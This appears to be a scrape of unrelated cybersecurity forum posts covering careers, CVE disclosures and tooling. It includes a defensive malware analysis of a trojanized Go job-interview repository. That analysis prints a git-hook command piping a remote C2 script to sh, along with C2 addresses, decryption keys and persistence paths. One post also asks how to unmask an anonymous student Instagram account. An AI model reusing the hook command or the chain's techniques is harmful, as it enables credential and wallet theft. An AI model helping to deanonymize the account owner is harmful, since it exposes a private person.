Hi, does anyone here know anything about Astelia? Like it's good or bad, it sucks because the founder from 🇮🇱 or anything you like to share

So to make things quicker there is a instagram Page that post memes about our classroom, the thing is that they make memes about classmates without asking them before, then the director found out about it and it turned it into a big deal so they want the instagram Page taken down and if the dont do it they will get spelled.

So all that being said, the person that is behind that account hasnt taken down the page yet, even making a meme about them being wanted by the director.

So with all of that context i was wondering if there was a way to know more about who is behind or some key elements that i could find, because this has been a serious topic in our class even if its sounds funny that there is whole deal about some memes it still a serious topic and theres have to be a responsible

I know it might sound dumb and i know it is but it has genuinely been a serious topic in our class and we need to know who is behind it

I'm curious to learn more about this space but it truly seems siloed away from "traditional" cyber security programs. Why is that? Historical reasons? Accounting reasons? Technical vs business logic?

How might someone from the cyber world get into the fraud prevention world without previous experience?

This year seriously feels like the year of the mega platform. Sign up with one vendor and say “good enough” for firewall, end point, DLP, email security, AI security, data security, etc etc etc

As a research engineer with a background in HPC and software development, and no prior experience in cybersecurity, this is the roadmap I’ve chosen to learn penetration testing and red teaming.

I started with TryHackMe because it provides a structured, beginner-friendly learning experience and guides you through the fundamentals step by step. After completing the Introduction and Pentesting paths, I moved on to the HTB Academy CJCA path.

I haven’t taken the CJCA exam yet, but after reviewing the exam preparation machines, I feel that the CJCA content alone doesn’t cover everything required for the assessment. Nevertheless, it provides a solid foundation. After completing CJCA, I started the CPTS path, which I am currently following.

One of the biggest drawbacks of HTB Academy is that many of the machines require knowledge from multiple modules, making it difficult to solve them before completing a significant portion of the path.

My long-term goal is:

First Phase (HTB Focus)

CJCA → CPTS → CWES → COAE

Second Phase (Advanced Specialisation)

CAPE → CWEE → CWPE → MalDev

Alongside:

HTB Labs, HackSmarter

For career opportunities and industry recognition:

OSCP → OSEP → OSWE

My aim is to build a strong foundation in offensive security through HTB’s training ecosystem and then complement it with industry-recognised certifications that are frequently requested by employers.

Let me know what do you think in the comments

Update to my post from a few days ago. That thread got a lot more attention than I expected, so thanks to everyone who jumped in. Full disclosure is out now.

PWN.AI published their writeup today on CVE-2026-99999, which they’re calling PwnEscape. It’s a guest-to-host escape. KVM itself isn’t the problem: it’s the kernel’s IPv4 fragmentation path (ip_do_fragment()).

Possible effects of exploits include, host memory leaking out in packets, host crashes and in their lab setup, a working chain that got root on the host.

Tested on 6.12 and 7.x. The full affected range isn’t listed, so assume you’re affected until your distro says otherwise.

If you run multi-tenant VMs or untrusted guests, this goes to the top of your patch list. Some platforms are already rolling it out (the one I work on, Cycle.io, has already pushed patched kernels out and a reboot is all our customers need to do to get the fix as the node will pull latest OS image on boot). If you manage your own hypervisors, keep an eye on your distro’s kernel updates.

Writeup: https://pwn.ai/blog/pwnescape

Our announcement at Cycle: https://cycle.io/blog/cycleos-2026-10-15-1

Hello everyone,

I recently got a job offer but had to turn it down because they wanted someone with a green card or citizenship. I am a US university graduate and I’m not an international student i am on a temporary protected visa. Does anyone know any companies that are known for sponsoring people??

I was recently looking at how the ArtCraft project has progressed in cloning the entire Adobe ecosystem; do you think something similar could be achieved with Burp? Burp is very comprehensive and has had years of development—the only downside is the amount of RAM it consumes and obviously the price...

I feel like at my job, AI has just reduced me needing to use my brain power every day therefore AI has made day to day way easier. I know we all hate AI, but anyone else feel this?

TL;DR: I intercepted a trojanized Golang technical assessment distributed via LinkedIn social engineering (Contagious Interview / Lazarus Group) and detonated the full 6-stage execution chain in an isolated sinkhole environment. To bypass GitHub's native .git/hooks stripping and static scanners, the threat actors kept all 38 .go source files completely clean, delivered the repo as a Google Drive ZIP archive, and used the task instructions to force candidates into triggering 22 weaponized .git/hooks.

Below is the complete technical breakdown of the kill chain—including a TRON-to-BSC dual-blockchain C2 dead-drop ("EtherHiding"), a masqueraded Apple CUPS Python runtime (cupsd), InvisibleFerret v260905 with hardcoded UTC+9 (KST) offsets, and a 93 KB macOS Chrome DevTools Protocol (CDP) stealer (mdb.js) designed to bypass Keychain prompts on macOS Sonoma/Sequoia.

Author: Independent Security Researcher (Anonymous)
Date: October 2026
Threat Actor: Lazarus Group / Famous Chollima (Contagious Interview Campaign)
Malware Families: BeaverTail, InvisibleFerret (v260905), Custom Node.js CDP Stealer (mdb)
Target Sector: Software Engineers (Go / Web3 / FinTech) across macOS, Linux, and Windows

Executive Summary

During an analysis of a trojanized Golang technical assessment distributed via social engineering on LinkedIn, a 6-stage, multi-layered malware execution chain was intercepted and fully deobfuscated inside an isolated sinkhole environment.

While the Go application source code (38 .go files) and go.mod dependencies were completely clean to evade static code scanners, the repository archive (distributed via Google Drive to bypass GitHub's native hook stripping) contained 22 weaponized .git/hooks scripts. To guarantee execution, the accompanying PDF instructions included a "Task 3 – Git Challenges" section forcing the candidate to run Git commands.

Full reverse engineering of the kill chain revealed:

1. Bring-Your-Own-Runtime (BYOR): Silent installation of portable Node.js (v20.11.1) and a portable Python distribution (~/.py/python/bin/cupsd) masquerading as the Apple/UNIX CUPS printing daemon.
2. EtherHiding (Dual-Blockchain C2 Dead-Drop): Using a TRON wallet transaction to dynamically point to a Binance Smart Chain (BSC) transaction input containing an XOR-encrypted Stage-4 loader.
3. Fileless AES-256-CBC Staging: Multi-hop C2 handshakes delivering PBKDF2 + AES-256-CBC encrypted modules directly into node and python stdin pipes.
4. 6 Specialized Post-Exploitation Modules: Including a node-pty interactive WebSocket shell (ncli with a JSONKeeper dead-drop), a 20-layer Zlib/Base64 packed Python RAT (InvisibleFerret v260905 with hardcoded UTC+9 KST timestamps), and a 93 KB macOS Sonoma/Sequoia Chrome DevTools Protocol (CDP) stealer (mdb.js) targeting 26 browser crypto wallet extensions.

Technical Kill Chain Analysis

Stage 1: Weaponized .git/hooks & Social Engineering

Because git clone strips .git/hooks by default, the threat actors distributed the repository as a direct ZIP archive alongside a task PDF. Every hook in .git/hooks/* (22 scripts, no .sample extensions) contained:

curl -sL 'hxxp://45.61.134[.]57:8080/task/mac?id=[REDACTED]&method=<hook_name>' | sh

Stage 2: Portable Node.js Dropper (tokenlinux.sh)

The initial script prints "Authenticated", clears the terminal screen repeatedly (clear), and fetches tokenlinux.sh into $HOME/.task/. It detects the OS (Darwin vs Linux) and CPU architecture (arm64 vs x64), downloads an official portable Node.js v20.11.1 tarball from nodejs.org, and fetches two files from hxxp://45.61.134[.]57:8080:

• /task/json -> package.json (tokendapp v1.0.0, listing hardhat and axios)
• /task/parser?id=[REDACTED] -> parser.js

Stage 3: Dual-Blockchain "EtherHiding" Loader (parser.js)

Deobfuscating parser.js (which uses rotated string arrays, stripped-prefix Base64, and a 4-byte XOR key [0x70, 0xa0, 0x89, 0x48]) revealed a decentralized C2 resolution mechanism:

1. TRON Pointer Lookup: Queries hxxps://api.trongrid[.]io/v1/accounts/TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs/transactions?only_confirmed=true&only_from=true&limit=1.
2. Hash Reconstruction: Extracts raw_data.data from the latest TRON transaction, swaps the upper and lower halves of the hex string, and decodes it into a Binance Smart Chain (BSC) Transaction Hash: 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770
3. BSC Payload Retrieval: Calls eth_getTransactionByHash via bsc-dataseed.binance.org (fallback: bsc-rpc.publicnode.com), reverses the transaction input hex data, and decrypts it using a 20-byte XOR key (02020327030306210219).
4. In-Memory Execution: Spawns node -e "<decrypted_stage4>" in detached mode (detached: true, stdio: 'ignore', windowsHide: true).

Stage 4: C2 Handshake & AES-256-CBC Gate (stage4_blockchain_payload.js)

Contains build marker GD="Mi4xMzAuMTA3LjE4Mjk=" (2.130.107.1829). It de-interleaves Base64 strings to contact the gate server:

• hxxp://104.234.94[.]198:1144/s/[REDACTED]/<Hostname>+<Username>
• Upon receiving a JS6-prefixed configuration response, it fetches an encrypted payload from hxxp://107.182.130[.]226:1244/main and decrypts it using PBKDF2 (sha256, 100,000 iterations) + AES-256-CBC with passphrase 'Jg2oE^0&96R#'.

Stage 5: Persistence & Masqueraded Python Runtime (stage5_final_boss.js)

1. Persistence (PyToolUpdater):
   • macOS: Injects a # >>> PyToolUpdater bootstrap >>> block into ~/.zprofile that checks /tmp/PyToolUpdater.pid and silently launches nohup node "$HOME/.viminf" on every terminal session.
   • Linux: Creates ~/.config/autostart/PyToolUpdater.desktop.
2. Masqueraded Python Environment (cupsd): Downloads a portable Python distribution from hxxp://107.182.130[.]226:2225/pd/da (macOS ARM64) into /tmp/gradle-9-bin_<rand> and extracts it to ~/.py/python/bin/cupsd (masquerading as the Apple/UNIX CUPS printing daemon).
3. PTY Dependencies: Silently runs npm i form-data ws socket.io-client node-pty --prefix ~/.vscode.
4. Stage-6 Delivery: Downloads and AES-decrypts ~/.viminf (named to mimic Vim's legitimate ~/.viminfo file) from hxxp://107.182.130[.]226:1244/client/[REDACTED].

Stage 6: ~/.viminf Orchestrator & The 6 Sub-Modules

~/.viminf acts as an in-memory orchestrator that fetches, AES-decrypts (using key Jg2oE^0&96R#), and pipes 6 distinct modules directly into node - or cupsd -I - via stdin:

Indicators of Compromise (IoCs)

Network Indicators (C2 Servers)

45.61.134.57:8080
104.234.94.198:1144
107.182.130.226:1244
107.182.130.226:2225
107.182.130.29:2250
147.124.202.194:2250
107.182.130.212:1274
104.153.82.90:2245
104.153.82.91:2800

Blockchain & Dead-Drop Indicators

• TRON C2 Wallet: TMpR4viF4xPeMAcgYDoF57ECAaDPpj1oXs
• BSC C2 Transaction: 0x4e1c5867249c1768eff6e2467d1983ae92cb60d28345b8424b080df32f9cd770
• JSONKeeper Dead-Drop: hxxps://www.jsonkeeper[.]com/b/KRCKK
• GitHub Staging Account: hxxps://github[.]com/rhondadavid

Targeted Browser Extension IDs (in mdb.js & ldb.js)

nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask)
ejbalbakoplchlghecdalmeeeajnimhm (MetaMask Edge)
fhbohimaelbohpjbbldcngcnapndodjp (BNB Chain Wallet)
ibnejdfjmmkpcnlpebklmnkoeoihofec (TronLink)
bfnaelmomeimhlpmgjnjophhpkkoljpa (Phantom)
aeachknmefphepccionboohckonoeemg (Coin98)
egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet)
hnfanknocfeofbddgcijnmhnfnkdnaad (Coinbase Wallet)
acmacodkjbdgmoleebolmdjonilkdbch (Rabby Wallet)
mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet)
fdjamakpfbbddfjaooikfcpapjohcfmg (Dashlane)
dmkamcknogkgcdfhhbddcghachkejeap (Keplr)
aholpfdialjgjfhomihkjbmgjidlcdno (Exodus Web3)
nphplpgoakhhjchkkhmiggakijnkhfnd (Tonkeeper)
hifafgmccdpekplomjjkcfgodnhcellj (Crypto.com DeFi)
jblndlipeogpafnldhgmapagcccfchpi (Kaikas)
dlcobpjiigpikoobohmabehhmhfoodbb (Argent X)
agoakfejjabomempkjlepdflaleeobhb (Core)
omaabbefbmiijedngplfjmnooppbclkk (TonWallet)
penjlddjkjgpnkllboccdgccekpkcbin (OpenMask)
lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal)
fldfpgipfncgndfolcbkdeeknbbbnhcc (MyTonWallet)
bhhhlbepdkbapadjdnnojkbgioiodbic (Solflare)
gjnckgkfmgmibbkoficdidcljeaaaheg (Atomic)
afbcbjpbpfadlkmhmclhkeeodmamcflc (MathWallet)
ppbibelpcjmhbdihakflkdcoccbgbkpo (UniSat)

Host Artifacts & Persistence Paths (macOS / Linux)

• ~/.task/ and ~/.task/tokenlinux.sh
• ~/.viminf (AES-decrypted Stage-6 orchestrator)
• ~/.zprofile containing # >>> PyToolUpdater bootstrap >>>
• ~/.config/autostart/PyToolUpdater.desktop
• /tmp/PyToolUpdater.pid, /tmp/PyToolUpdater.log, and /tmp/gradle-9-bin_*
• ~/.py/python/bin/cupsd (Masqueraded Python interpreter)
• ~/.vscode/.argv3, ~/.vscode/.argp3, ~/.vscode/.poc3, ~/.vscode/.argv8, ~/.vscode/.ncli.pid
• ~/.n2/

Defensive Takeaways & Hunting Rules

For blue teams and macOS/Linux defenders looking to hunt for this variant:

1. Monitor .git/hooks Execution: Alert on curl or sh spawned as a child process of git (git-commit, git-checkout, git-merge).
2. Audit Non-Standard cupsd Binaries: The legitimate CUPS daemon resides in /usr/sbin/cupsd. Any execution of cupsd from user-writable directories (~/.py/python/bin/cupsd) or running with Python interpreter flags (cupsd -I -) is a high-confidence indicator of compromise.
3. Headless / Off-Screen Chrome CDP Abuse: Watch for browser processes (Google Chrome, Brave Browser, Microsoft Edge) spawned from Node.js with --remote-debugging-port or off-screen window coordinates on macOS (Darwin >= 23).

Has anyone else observed the dual-chain TRON-to-BSC dead-drop pattern or the v260905 InvisibleFerret build in recent developer-targeted campaigns? Happy to share additional deobfuscated module snippets or SHA-256 hashes in the comments.

Got fired for 2 security violations in 2025. They weren't huge violations, but obviously still had to be reported (i self reported one of them) and after that, the gov client basically was like idk if you'll be a long term fit here and fired me.

I've had employment since then, and no negative actions were taken on my clearance, but am I still cooked for the future?

Cisco’s advisory for CVE-2026-76519 went up on October 14 at 16:00 GMT. One email with a crafted attachment can write files on a Secure Email Gateway and run commands as root. Cisco says it learned of the attacks in October. CISA added it to KEV the same day, with a federal deadline of October 17.

A gateway is exposed when File Reputation is on for a mail policy and Content Scanner Tools is older than 25.3.0.5525. Cisco also contacted customers of its own managed Secure Email Cloud whose devices showed indicators of possible compromise. Shadowserver sees nearly 300 of these gateways exposed online.

The fix isn’t new. It shipped on September 14 in AsyncOS 15.5.5-014 and 16.5.0-780, inside a hardening release that grouped internally found bugs into five CVEs, one per weakness class. This bug sat under CVE-2026-76440, path traversal, a 9.8 listed next to three other 9.8 umbrellas. Cisco says that review used frontier AI models alongside its usual testing.

Cisco announced the bundling in June. A bug gets its own CVE when it’s known to be exploited or needs defender action, and the same post calls CVE-by-CVE risk assessment “no longer fit for purpose.” This one got its own CVE on October 14, together with the attack warning.

It’s the second exploited bug in these gateways since September, after the SQL injection CVE-2026-76461. Before that came CVE-2025-20393, exploited as a zero-day since November 2025 and patched in January.

WordPress plugins do a small version of this with changelogs that say “security fix” and nothing else, so whoever patches from CVE feeds hears about it last.

Cisco’s position is that customers should run the current hardened release and stop triaging bug by bug. For a team that patches from KEV, this flaw had no entry of its own until October 14. Can your patch process do anything useful with a CVE that covers a whole weakness class?

Hey all,

I'm currently a systems engineer with about a year and a half of experience. My company gave us free access to Pluralsight but I'm unsure where to focus my time. Any recommendations?

For context, my hands-on experience is primarily in vulnerability management (very familiar in Rapid7), endpoint detection and response (CS Falcon), email security (Proofpoint), and a little incident response.

I hold a Security+ but that's really the only cert I've gotten. I'm looking to grow toward a security engineering role and the gaps I keep seeing in job postings are Python/scripting, cloud security (Azure specifically), and KQL. Not sure if I should chase certs, build scripting skills, or focus on deepening what I already know

What would yall prioritize?

I landed a soc job being a 2025 cs grad with a 6 month internship exp. I need moral support and motivation now, because the salary is too low and also half the team at my org is boomer who say you shoulda gone into swe and also tell me to switch back,
I genuinely have interest in sec, have 2-3 globally recognized certs and learning to move towards security engineering and automation.

Now I'm feeling a bit off due to the comments and the current low package.

Can I know how good the market is for a switch and what could be the future estimate of roles for cyber security.

Your pov would really help me out in this situation.

I'm thinking about getting the Offsec SOC 200 Course but not sure how "popular" and useful it is.

I'm currently one of 2 Sysadmins in our company, mostly Windows heavy but I do try to change that so we do have a few Linux servers too.

At military installations and European retailers alike?

https://www.stripes.com/theaters/us/2026-08-28/refrigeration-outages-multiple-us-commissaries-22684428.html

Just wondering if there are any good reports to learn from out there.
and no - I dont have one of my own, lol.

I'm a final year student at the UoL royal holloway MSC cyber program and am currently looking into quantum-safe migration. I'm looking at the challenges of migration, especially in light of other priorities.

I just have a short survey of 10 quick questions - if you're able to spare me with 5 minutes of your time I'd be really grateful - all the good karma to you!!

Thanks in advance!

I work in security and wanted a vulnerability screen on my desk that I do not need to open a browser for. This is the result.

It runs on a Waveshare 7B ESP32 touch display. The board pulls four public feeds over HTTPS: cvefeed.io, Microsoft MSRC, CERT/CC and CERT-EU. It parses them on the device, so there is no server or flow behind it.

Does anyone have a low- medium level overview of what a phished email account will do once compromised. We have seen a lot of google workspace accounts get compromised and then send out phishing links to somewhat random contacts. We are also seeing some settings being changed on the account. I was wondering if anyone has some examples of this attack flow, or even better the scripts being used( I'm assuming this is scripted) Thanks